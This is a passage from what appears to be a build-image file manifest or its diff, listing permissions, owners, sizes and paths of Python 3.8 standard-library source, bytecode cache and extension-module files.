+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/mac_roman.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2321 ./usr/lib/python3.8/encodings/__pycache__/mac_roman.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/mac_roman.cpython-38.pyc
+-rw-r--r-- root root 2459 ./usr/lib/python3.8/encodings/__pycache__/mac_romanian.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2325 ./usr/lib/python3.8/encodings/__pycache__/mac_romanian.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2459 ./usr/lib/python3.8/encodings/__pycache__/mac_romanian.cpython-38.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/encodings/__pycache__/mac_turkish.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2320 ./usr/lib/python3.8/encodings/__pycache__/mac_turkish.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2452 ./usr/lib/python3.8/encodings/__pycache__/mac_turkish.cpython-38.pyc
+-rw-r--r-- root root 1701 ./usr/lib/python3.8/encodings/__pycache__/mbcs.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1468 ./usr/lib/python3.8/encodings/__pycache__/mbcs.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1701 ./usr/lib/python3.8/encodings/__pycache__/mbcs.cpython-38.pyc
+-rw-r--r-- root root 1514 ./usr/lib/python3.8/encodings/__pycache__/oem.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1464 ./usr/lib/python3.8/encodings/__pycache__/oem.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1514 ./usr/lib/python3.8/encodings/__pycache__/oem.cpython-38.pyc
+-rw-r--r-- root root 2439 ./usr/lib/python3.8/encodings/__pycache__/palmos.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2302 ./usr/lib/python3.8/encodings/__pycache__/palmos.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2439 ./usr/lib/python3.8/encodings/__pycache__/palmos.cpython-38.pyc
+-rw-r--r-- root root 2533 ./usr/lib/python3.8/encodings/__pycache__/ptcp154.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2294 ./usr/lib/python3.8/encodings/__pycache__/ptcp154.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2533 ./usr/lib/python3.8/encodings/__pycache__/ptcp154.cpython-38.pyc
+-rw-r--r-- root root 6301 ./usr/lib/python3.8/encodings/__pycache__/punycode.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5709 ./usr/lib/python3.8/encodings/__pycache__/punycode.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6301 ./usr/lib/python3.8/encodings/__pycache__/punycode.cpython-38.pyc
+-rw-r--r-- root root 2348 ./usr/lib/python3.8/encodings/__pycache__/quopri_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2250 ./usr/lib/python3.8/encodings/__pycache__/quopri_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2405 ./usr/lib/python3.8/encodings/__pycache__/quopri_codec.cpython-38.pyc
+-rw-r--r-- root root 1752 ./usr/lib/python3.8/encodings/__pycache__/raw_unicode_escape.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1593 ./usr/lib/python3.8/encodings/__pycache__/raw_unicode_escape.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1752 ./usr/lib/python3.8/encodings/__pycache__/raw_unicode_escape.cpython-38.pyc
+-rw-r--r-- root root 2991 ./usr/lib/python3.8/encodings/__pycache__/rot_13.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2841 ./usr/lib/python3.8/encodings/__pycache__/rot_13.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2991 ./usr/lib/python3.8/encodings/__pycache__/rot_13.cpython-38.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jis_2004.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jis_2004.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jis_2004.cpython-38.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/shift_jis.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/shift_jis.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/shift_jis.cpython-38.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jisx0213.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jisx0213.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jisx0213.cpython-38.pyc
+-rw-r--r-- root root 2501 ./usr/lib/python3.8/encodings/__pycache__/tis_620.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2380 ./usr/lib/python3.8/encodings/__pycache__/tis_620.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2501 ./usr/lib/python3.8/encodings/__pycache__/tis_620.cpython-38.pyc
+-rw-r--r-- root root 2085 ./usr/lib/python3.8/encodings/__pycache__/undefined.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1756 ./usr/lib/python3.8/encodings/__pycache__/undefined.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2085 ./usr/lib/python3.8/encodings/__pycache__/undefined.cpython-38.pyc
+-rw-r--r-- root root 1732 ./usr/lib/python3.8/encodings/__pycache__/unicode_escape.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1577 ./usr/lib/python3.8/encodings/__pycache__/unicode_escape.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1732 ./usr/lib/python3.8/encodings/__pycache__/unicode_escape.cpython-38.pyc
+-rw-r--r-- root root 1640 ./usr/lib/python3.8/encodings/__pycache__/utf_16_be.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1490 ./usr/lib/python3.8/encodings/__pycache__/utf_16_be.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1640 ./usr/lib/python3.8/encodings/__pycache__/utf_16_be.cpython-38.pyc
+-rw-r--r-- root root 4862 ./usr/lib/python3.8/encodings/__pycache__/utf_16.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4715 ./usr/lib/python3.8/encodings/__pycache__/utf_16.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4862 ./usr/lib/python3.8/encodings/__pycache__/utf_16.cpython-38.pyc
+-rw-r--r-- root root 1640 ./usr/lib/python3.8/encodings/__pycache__/utf_16_le.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1490 ./usr/lib/python3.8/encodings/__pycache__/utf_16_le.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1640 ./usr/lib/python3.8/encodings/__pycache__/utf_16_le.cpython-38.pyc
+-rw-r--r-- root root 1533 ./usr/lib/python3.8/encodings/__pycache__/utf_32_be.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1490 ./usr/lib/python3.8/encodings/__pycache__/utf_32_be.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1533 ./usr/lib/python3.8/encodings/__pycache__/utf_32_be.cpython-38.pyc
+-rw-r--r-- root root 4755 ./usr/lib/python3.8/encodings/__pycache__/utf_32.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4715 ./usr/lib/python3.8/encodings/__pycache__/utf_32.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4755 ./usr/lib/python3.8/encodings/__pycache__/utf_32.cpython-38.pyc
+-rw-r--r-- root root 1533 ./usr/lib/python3.8/encodings/__pycache__/utf_32_le.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1490 ./usr/lib/python3.8/encodings/__pycache__/utf_32_le.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1533 ./usr/lib/python3.8/encodings/__pycache__/utf_32_le.cpython-38.pyc
+-rw-r--r-- root root 1561 ./usr/lib/python3.8/encodings/__pycache__/utf_7.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1474 ./usr/lib/python3.8/encodings/__pycache__/utf_7.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1561 ./usr/lib/python3.8/encodings/__pycache__/utf_7.cpython-38.pyc
+-rw-r--r-- root root 1620 ./usr/lib/python3.8/encodings/__pycache__/utf_8.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1474 ./usr/lib/python3.8/encodings/__pycache__/utf_8.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1620 ./usr/lib/python3.8/encodings/__pycache__/utf_8.cpython-38.pyc
+-rw-r--r-- root root 4536 ./usr/lib/python3.8/encodings/__pycache__/utf_8_sig.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4234 ./usr/lib/python3.8/encodings/__pycache__/utf_8_sig.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4536 ./usr/lib/python3.8/encodings/__pycache__/utf_8_sig.cpython-38.pyc
+-rw-r--r-- root root 3180 ./usr/lib/python3.8/encodings/__pycache__/uu_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2887 ./usr/lib/python3.8/encodings/__pycache__/uu_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3239 ./usr/lib/python3.8/encodings/__pycache__/uu_codec.cpython-38.pyc
+-rw-r--r-- root root 3009 ./usr/lib/python3.8/encodings/__pycache__/zlib_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2843 ./usr/lib/python3.8/encodings/__pycache__/zlib_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3099 ./usr/lib/python3.8/encodings/__pycache__/zlib_codec.cpython-38.pyc
+-rw-r--r-- root root 1525 ./usr/lib/python3.8/encodings/quopri_codec.py
+-rw-r--r-- root root 1208 ./usr/lib/python3.8/encodings/raw_unicode_escape.py
+-rwxr-xr-x root root 2448 ./usr/lib/python3.8/encodings/rot_13.py
+-rw-r--r-- root root 1059 ./usr/lib/python3.8/encodings/shift_jis_2004.py
+-rw-r--r-- root root 1039 ./usr/lib/python3.8/encodings/shift_jis.py
+-rw-r--r-- root root 1059 ./usr/lib/python3.8/encodings/shift_jisx0213.py
+-rw-r--r-- root root 12300 ./usr/lib/python3.8/encodings/tis_620.py
+-rw-r--r-- root root 1299 ./usr/lib/python3.8/encodings/undefined.py
+-rw-r--r-- root root 1184 ./usr/lib/python3.8/encodings/unicode_escape.py
+-rw-r--r-- root root 1037 ./usr/lib/python3.8/encodings/utf_16_be.py
+-rw-r--r-- root root 1037 ./usr/lib/python3.8/encodings/utf_16_le.py
+-rw-r--r-- root root 5236 ./usr/lib/python3.8/encodings/utf_16.py
+-rw-r--r-- root root 930 ./usr/lib/python3.8/encodings/utf_32_be.py
+-rw-r--r-- root root 930 ./usr/lib/python3.8/encodings/utf_32_le.py
+-rw-r--r-- root root 5129 ./usr/lib/python3.8/encodings/utf_32.py
+-rw-r--r-- root root 946 ./usr/lib/python3.8/encodings/utf_7.py
+-rw-r--r-- root root 1005 ./usr/lib/python3.8/encodings/utf_8.py
+-rw-r--r-- root root 4133 ./usr/lib/python3.8/encodings/utf_8_sig.py
+-rw-r--r-- root root 2851 ./usr/lib/python3.8/encodings/uu_codec.py
+-rw-r--r-- root root 2204 ./usr/lib/python3.8/encodings/zlib_codec.py
+-rw-r--r-- root root 34616 ./usr/lib/python3.8/enum.py
+-rw-r--r-- root root 4056 ./usr/lib/python3.8/fnmatch.py
+-rw-r--r-- root root 34768 ./usr/lib/python3.8/ftplib.py
+-rw-r--r-- root root 37376 ./usr/lib/python3.8/functools.py
+-rw-r--r-- root root 5101 ./usr/lib/python3.8/__future__.py
+-rw-r--r-- root root 4975 ./usr/lib/python3.8/genericpath.py
+-rw-r--r-- root root 7489 ./usr/lib/python3.8/getopt.py
+-rw-r--r-- root root 27138 ./usr/lib/python3.8/gettext.py
+-rw-r--r-- root root 5697 ./usr/lib/python3.8/glob.py
+-rw-r--r-- root root 21441 ./usr/lib/python3.8/gzip.py
+-rw-r--r-- root root 9730 ./usr/lib/python3.8/hashlib.py
+-rw-r--r-- root root 22877 ./usr/lib/python3.8/heapq.py
+-rw-r--r-- root root 6629 ./usr/lib/python3.8/hmac.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/http
+-rw-r--r-- root root 54496 ./usr/lib/python3.8/http/client.py
+-rw-r--r-- root root 76835 ./usr/lib/python3.8/http/cookiejar.py
+-rw-r--r-- root root 20412 ./usr/lib/python3.8/http/cookies.py
+-rw-r--r-- root root 6378 ./usr/lib/python3.8/http/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/http/__pycache__
+-rw-r--r-- root root 33915 ./usr/lib/python3.8/http/__pycache__/client.cpython-38.opt-1.pyc
+-rw-r--r-- root root 25008 ./usr/lib/python3.8/http/__pycache__/client.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34014 ./usr/lib/python3.8/http/__pycache__/client.cpython-38.pyc
+-rw-r--r-- root root 53437 ./usr/lib/python3.8/http/__pycache__/cookiejar.cpython-38.opt-1.pyc
+-rw-r--r-- root root 37800 ./usr/lib/python3.8/http/__pycache__/cookiejar.cpython-38.opt-2.pyc
+-rw-r--r-- root root 53637 ./usr/lib/python3.8/http/__pycache__/cookiejar.cpython-38.pyc
+-rw-r--r-- root root 15215 ./usr/lib/python3.8/http/__pycache__/cookies.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10818 ./usr/lib/python3.8/http/__pycache__/cookies.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15263 ./usr/lib/python3.8/http/__pycache__/cookies.cpython-38.pyc
+-rw-r--r-- root root 6059 ./usr/lib/python3.8/http/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5378 ./usr/lib/python3.8/http/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6059 ./usr/lib/python3.8/http/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 34387 ./usr/lib/python3.8/http/__pycache__/server.cpython-38.opt-1.pyc
+-rw-r--r-- root root 22451 ./usr/lib/python3.8/http/__pycache__/server.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34387 ./usr/lib/python3.8/http/__pycache__/server.cpython-38.pyc
+-rw-r--r-- root root 47254 ./usr/lib/python3.8/http/server.py
+-rw-r--r-- root root 53606 ./usr/lib/python3.8/imaplib.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/importlib
+-rw-r--r-- root root 12873 ./usr/lib/python3.8/importlib/abc.py
+-rw-r--r-- root root 62357 ./usr/lib/python3.8/importlib/_bootstrap_external.py
+-rw-r--r-- root root 39644 ./usr/lib/python3.8/importlib/_bootstrap.py
+-rw-r--r-- root root 6061 ./usr/lib/python3.8/importlib/__init__.py
+-rw-r--r-- root root 844 ./usr/lib/python3.8/importlib/machinery.py
+-rw-r--r-- root root 17607 ./usr/lib/python3.8/importlib/metadata.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/importlib/__pycache__
+-rw-r--r-- root root 13563 ./usr/lib/python3.8/importlib/__pycache__/abc.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6752 ./usr/lib/python3.8/importlib/__pycache__/abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13563 ./usr/lib/python3.8/importlib/__pycache__/abc.cpython-38.pyc
+-rw-r--r-- root root 28563 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21804 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap.cpython-38.opt-2.pyc
+-rw-r--r-- root root 28595 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap.cpython-38.pyc
+-rw-r--r-- root root 43396 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap_external.cpython-38.opt-1.pyc
+-rw-r--r-- root root 32275 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap_external.cpython-38.opt-2.pyc
+-rw-r--r-- root root 43700 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap_external.cpython-38.pyc
+-rw-r--r-- root root 3748 ./usr/lib/python3.8/importlib/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3069 ./usr/lib/python3.8/importlib/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3748 ./usr/lib/python3.8/importlib/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 952 ./usr/lib/python3.8/importlib/__pycache__/machinery.cpython-38.opt-1.pyc
+-rw-r--r-- root root 812 ./usr/lib/python3.8/importlib/__pycache__/machinery.cpython-38.opt-2.pyc
+-rw-r--r-- root root 952 ./usr/lib/python3.8/importlib/__pycache__/machinery.cpython-38.pyc
+-rw-r--r-- root root 20830 ./usr/lib/python3.8/importlib/__pycache__/metadata.cpython-38.opt-1.pyc
+-rw-r--r-- root root 15063 ./usr/lib/python3.8/importlib/__pycache__/metadata.cpython-38.opt-2.pyc
+-rw-r--r-- root root 20830 ./usr/lib/python3.8/importlib/__pycache__/metadata.cpython-38.pyc
+-rw-r--r-- root root 6470 ./usr/lib/python3.8/importlib/__pycache__/resources.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5125 ./usr/lib/python3.8/importlib/__pycache__/resources.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6470 ./usr/lib/python3.8/importlib/__pycache__/resources.cpython-38.pyc
+-rw-r--r-- root root 9282 ./usr/lib/python3.8/importlib/__pycache__/util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6413 ./usr/lib/python3.8/importlib/__pycache__/util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9282 ./usr/lib/python3.8/importlib/__pycache__/util.cpython-38.pyc
+-rw-r--r-- root root 9437 ./usr/lib/python3.8/importlib/resources.py
+-rw-r--r-- root root 11319 ./usr/lib/python3.8/importlib/util.py
+-rw-r--r-- root root 10536 ./usr/lib/python3.8/imp.py
+-rw-r--r-- root root 118039 ./usr/lib/python3.8/inspect.py
+-rw-r--r-- root root 3541 ./usr/lib/python3.8/io.py
+-rw-r--r-- root root 71160 ./usr/lib/python3.8/ipaddress.py
+-rw-r--r-- root root 945 ./usr/lib/python3.8/keyword.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/lib-dynload
+-rwxr-xr-x root root 65816 ./usr/lib/python3.8/lib-dynload/array.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 31736 ./usr/lib/python3.8/lib-dynload/binascii.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14760 ./usr/lib/python3.8/lib-dynload/_bisect.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 44664 ./usr/lib/python3.8/lib-dynload/_blake2.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 27896 ./usr/lib/python3.8/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 43896 ./usr/lib/python3.8/lib-dynload/cmath.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14384 ./usr/lib/python3.8/lib-dynload/_crypt.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 37240 ./usr/lib/python3.8/lib-dynload/_csv.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 99712 ./usr/lib/python3.8/lib-dynload/_datetime.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 76160 ./usr/lib/python3.8/lib-dynload/_elementtree.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 18856 ./usr/lib/python3.8/lib-dynload/grp.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 36600 ./usr/lib/python3.8/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 22640 ./usr/lib/python3.8/lib-dynload/_heapq.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 40920 ./usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 57208 ./usr/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 19352 ./usr/lib/python3.8/lib-dynload/_md5.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14520 ./usr/lib/python3.8/lib-dynload/_opcode.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 27856 ./usr/lib/python3.8/lib-dynload/parser.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 113208 ./usr/lib/python3.8/lib-dynload/_pickle.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 22680 ./usr/lib/python3.8/lib-dynload/_posixsubprocess.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 233072 ./usr/lib/python3.8/lib-dynload/pyexpat.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 19320 ./usr/lib/python3.8/lib-dynload/_queue.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 19024 ./usr/lib/python3.8/lib-dynload/_random.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 35672 ./usr/lib/python3.8/lib-dynload/readline.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 32632 ./usr/lib/python3.8/lib-dynload/select.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 15256 ./usr/lib/python3.8/lib-dynload/_sha1.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 24024 ./usr/lib/python3.8/lib-dynload/_sha256.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 82960 ./usr/lib/python3.8/lib-dynload/_sha3.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 28120 ./usr/lib/python3.8/lib-dynload/_sha512.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 99056 ./usr/lib/python3.8/lib-dynload/_socket.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 140280 ./usr/lib/python3.8/lib-dynload/_ssl.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 50392 ./usr/lib/python3.8/lib-dynload/_struct.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 30576 ./usr/lib/python3.8/lib-dynload/termios.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 1091200 ./usr/lib/python3.8/lib-dynload/unicodedata.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14384 ./usr/lib/python3.8/lib-dynload/_uuid.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 40888 ./usr/lib/python3.8/lib-dynload/zlib.cpython-38-x86_64-linux-gnu.so
+-rw-r--r-- root root 5312 ./usr/lib/python3.8/linecache.py
+-rw-r--r-- root root 78191 ./usr/lib/python3.8/locale.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/logging
+-rw-r--r-- root root 36357 ./usr/lib/python3.8/logging/config.py
+-rw-r--r-- root root 57885 ./usr/lib/python3.8/logging/handlers.py
+-rw-r--r-- root root 77642 ./usr/lib/python3.8/logging/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/logging/__pycache__
+-rw-r--r-- root root 23170 ./usr/lib/python3.8/logging/__pycache__/config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 19060 ./usr/lib/python3.8/logging/__pycache__/config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 23216 ./usr/lib/python3.8/logging/__pycache__/config.cpython-38.pyc
+-rw-r--r-- root root 43148 ./usr/lib/python3.8/logging/__pycache__/handlers.cpython-38.opt-1.pyc
+-rw-r--r-- root root 24441 ./usr/lib/python3.8/logging/__pycache__/handlers.cpython-38.opt-2.pyc
+-rw-r--r-- root root 43148 ./usr/lib/python3.8/logging/__pycache__/handlers.cpython-38.pyc
+-rw-r--r-- root root 64831 ./usr/lib/python3.8/logging/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 36333 ./usr/lib/python3.8/logging/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 64863 ./usr/lib/python3.8/logging/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 12983 ./usr/lib/python3.8/lzma.py
+-rw-r--r-- root root 14598 ./usr/lib/python3.8/_markupbase.py
+-rw-r--r-- root root 21604 ./usr/lib/python3.8/mimetypes.py
+-rw-r--r-- root root 43261 ./usr/lib/python3.8/nntplib.py
+-rw-r--r-- root root 27734 ./usr/lib/python3.8/ntpath.py
+-rw-r--r-- root root 5808 ./usr/lib/python3.8/opcode.py
+-rw-r--r-- root root 10711 ./usr/lib/python3.8/operator.py
+-rw-r--r-- root root 60369 ./usr/lib/python3.8/optparse.py
+-rw-r--r-- root root 38995 ./usr/lib/python3.8/os.py
+-rw-r--r-- root root 51531 ./usr/lib/python3.8/pathlib.py
+-rw-r--r-- root root 64395 ./usr/lib/python3.8/pickle.py
+-rw-r--r-- root root 93486 ./usr/lib/python3.8/pickletools.py
+-rw-r--r-- root root 8916 ./usr/lib/python3.8/pipes.py
+-rw-r--r-- root root 21461 ./usr/lib/python3.8/pkgutil.py
+-rwxr-xr-x root root 40306 ./usr/lib/python3.8/platform.py
+-rw-r--r-- root root 15077 ./usr/lib/python3.8/poplib.py
+-rw-r--r-- root root 15627 ./usr/lib/python3.8/posixpath.py
+drwxr-xr-x root root 20480 ./usr/lib/python3.8/__pycache__
+-rw-r--r-- root root 5334 ./usr/lib/python3.8/__pycache__/abc.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3212 ./usr/lib/python3.8/__pycache__/abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5334 ./usr/lib/python3.8/__pycache__/abc.cpython-38.pyc
+-rw-r--r-- root root 62128 ./usr/lib/python3.8/__pycache__/argparse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 52887 ./usr/lib/python3.8/__pycache__/argparse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 62277 ./usr/lib/python3.8/__pycache__/argparse.cpython-38.pyc
+-rw-r--r-- root root 16301 ./usr/lib/python3.8/__pycache__/ast.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9889 ./usr/lib/python3.8/__pycache__/ast.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16336 ./usr/lib/python3.8/__pycache__/ast.cpython-38.pyc
+-rw-r--r-- root root 16908 ./usr/lib/python3.8/__pycache__/base64.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11324 ./usr/lib/python3.8/__pycache__/base64.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17071 ./usr/lib/python3.8/__pycache__/base64.cpython-38.pyc
+-rw-r--r-- root root 2354 ./usr/lib/python3.8/__pycache__/bisect.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1042 ./usr/lib/python3.8/__pycache__/bisect.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2354 ./usr/lib/python3.8/__pycache__/bisect.cpython-38.pyc
+-rw-r--r-- root root 1217 ./usr/lib/python3.8/__pycache__/_bootlocale.cpython-38.opt-1.pyc
+-rw-r--r-- root root 992 ./usr/lib/python3.8/__pycache__/_bootlocale.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1243 ./usr/lib/python3.8/__pycache__/_bootlocale.cpython-38.pyc
+-rw-r--r-- root root 11445 ./usr/lib/python3.8/__pycache__/bz2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6387 ./usr/lib/python3.8/__pycache__/bz2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11445 ./usr/lib/python3.8/__pycache__/bz2.cpython-38.pyc
+-rw-r--r-- root root 27064 ./usr/lib/python3.8/__pycache__/calendar.cpython-38.opt-1.pyc
+-rw-r--r-- root root 22472 ./usr/lib/python3.8/__pycache__/calendar.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27064 ./usr/lib/python3.8/__pycache__/calendar.cpython-38.pyc
+-rw-r--r-- root root 12626 ./usr/lib/python3.8/__pycache__/cmd.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7201 ./usr/lib/python3.8/__pycache__/cmd.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12626 ./usr/lib/python3.8/__pycache__/cmd.cpython-38.pyc
+-rw-r--r-- root root 9913 ./usr/lib/python3.8/__pycache__/code.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4642 ./usr/lib/python3.8/__pycache__/code.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9913 ./usr/lib/python3.8/__pycache__/code.cpython-38.pyc
+-rw-r--r-- root root 33913 ./usr/lib/python3.8/__pycache__/codecs.cpython-38.opt-1.pyc
+-rw-r--r-- root root 18347 ./usr/lib/python3.8/__pycache__/codecs.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33913 ./usr/lib/python3.8/__pycache__/codecs.cpython-38.pyc
+-rw-r--r-- root root 6297 ./usr/lib/python3.8/__pycache__/codeop.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2259 ./usr/lib/python3.8/__pycache__/codeop.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6297 ./usr/lib/python3.8/__pycache__/codeop.cpython-38.pyc
+-rw-r--r-- root root 28741 ./usr/lib/python3.8/__pycache__/_collections_abc.cpython-38.opt-1.pyc
+-rw-r--r-- root root 23682 ./usr/lib/python3.8/__pycache__/_collections_abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 28741 ./usr/lib/python3.8/__pycache__/_collections_abc.cpython-38.pyc
+-rw-r--r-- root root 5443 ./usr/lib/python3.8/__pycache__/_compat_pickle.cpython-38.opt-1.pyc
